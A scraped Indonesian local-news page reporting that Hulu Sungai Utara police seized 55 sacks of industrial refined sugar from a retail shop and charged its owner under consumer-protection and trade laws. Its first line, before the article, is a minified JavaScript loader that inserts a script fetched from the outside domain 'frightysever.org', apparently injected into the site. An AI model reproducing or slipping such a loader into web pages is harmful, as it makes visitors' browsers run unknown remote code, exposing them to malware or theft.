(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polres HSU Amankan 55 Karung Gula Rafinasi di Toko Tiara


AMUNTAI, Satuan Reskrim Polres Hulu Sungai Utara (HSU) menindak pengecer gula rafinasi yang memperdagangkan gula kristal rafinasi merek BMM produksi PT Berkah Manis Makmur asal Serang yang sebenarnya untuk konsumsi industri, Sabtu (21/4).

Perlu diketahui gula rafinasi atau gula kristal putih merupakan gula mentah yang telah mengalami proses pemurnian untuk menghilangkan molase, sehingga gula rafinasi berwarna lebih putih dibandingkan gula mentah yang lebih berwarna kecokelatan

Menurut Kapolres HSU AKBP Agus Sudaryanto, pengecer gula rafinasi bernama toko Tiara Jalan Negara Dipa, Kelurahan Sungai Malang, Kecamatan Amuntai Tengah itu, polisi awalnya mendapatkan informasi bahwa pemilik toko Tiara yakni FR (42) memperdagangkan gula kristal rafinasi secara eceran.

“Pada saat petugas mendatangi toko tersebut, kami menemukan dan mengamankan gula kristal rafinasi merek BMM sebanyak 55 karung yang berisi sebanyak 2.750 kilogram,” ungkapnya.

Menurut Kapolres HSU mereka juga menemukan yang dalam kemasan plastik 1 kilogram sebanyak 68 bungkus, kemasan plastik setengah kilogram sebanyak 71 bungkus, kemasan plastik seperempat kilogram sebanyak 39 bungkus, dan satu karung yang berisi 30 kilogram.

“Atas temuan itu, pelaku dan barang bukti berhasil kami amankan di Polres untuk dilakukan penyidikan lebih lanjut,” tegas Agus.

Agus menambahkan, terlapor diancam jeratan pidana Pasal 62 ayat (1) jo Pasal 8 ayat (1) huruf a Undang-Undang nomor 8 tahun 1999 tentang Perlindungan Konsumen dan atau Pasal 110 Jo Pasal 30 ayat (1) dan atau Pasal 106 Undang-Undang nomor 7 tahun 2014 tentang Perdagangan.

“Distribusi gula rafinasi harus memiliki izin khusus dan tidak diedarkan secara bebas di pasaran seperti di warung-warung yang langsung dibeli konsumen atau masyarakat, sehingga distribusi gula rafinasi atau gula khusus industri hanya diperuntukkan kebutuhan industri,” pungkasnyas,

Sebagaimana ketentuan Pasal 9 Peraturan Menteri Perdagangan Nomor 117 Tahun 2015 menyebutkan bahwa gula kristal rafinasi hanya bisa didistribusikan untuk industri saja. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

4 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

4 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

7 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

10 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

13 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

13 jam ago

This website uses cookies.